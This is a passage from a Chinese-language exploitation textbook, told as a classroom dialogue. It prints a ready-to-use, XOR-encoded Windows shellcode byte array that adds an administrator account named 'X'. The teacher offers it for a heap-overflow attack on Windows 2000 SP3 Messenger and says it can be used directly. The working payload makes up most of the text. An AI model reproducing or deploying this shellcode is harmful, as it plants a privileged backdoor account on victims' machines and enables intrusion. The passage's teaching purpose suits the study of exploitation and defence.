4.3.2 通用和编码ShellCode初接触

“定位了溢出点,下一步就是ShellCode的编写。”

“前几次课,我们对ShellCode的编写进行了详细讲解,这里就使用现成的添加用户的ShellCode吧!功能是添加一个名为‘X’的用户,并加入到管理组中。”

unsigned char ShellCode[] = // XorDecode 
    "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA" 
    "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
    // AddUser:X Pass:X
    "\xf0\x17\x7a\x16\x96\x1f\x70\x7e\x21\x96\x96\x96\x1f\x90\x1f\x55"
    "\xc5\xfe\xe8\x4e\x74\xe5\x7e\x2b\x96\x96\x96\x1f\xd0\x9a\xc5\xfe"
    "\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\x1f\xd0\x9e\xa7\x4d\xc5\xfe"
    "\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\x1f\xd0\x92\x1f"
    "\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\x1f\xd0\x86\xc5"
    "\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\x1f\xd0\x82\xa7\x56\xa7"
    "\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96"
    "\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff"
    "\x96\xfe\xd7\x96\xf2\x96\x1f\xf0\x8a\xc6\xfe\xce\x96\x96\x96\x1f"
    "\x77\x1f\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc6\xc5\xc6\xc7"
    "\xc7\x1f\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf"
    "\xc7\x1f\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82"
    "\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a"
    "\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e"
    "\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97"
    "\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae"
    "\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77"
    "\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92"
    "\x1d\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";

“老师,这个ShellCode是针对哪个系统的呢?”台下有人问道。

“这个ShellCode是经过编码变换的,而且采用动态定位的方式,各个系统可以通用。”

“编码?通用?好神奇啊!这是怎么实现的呢?”大家问道。

“看来大家都很有兴趣,那我抽个时间给给你们讲讲ShellCode的编码及其高级编程吧!”

“好啊!”大家欢呼起来。

“到时我再讲具体的实现吧!现在直接使用就可以。”老师说道,“我们还是先完成对Windows 2000 SP3 Message堆溢出漏洞的攻击吧!”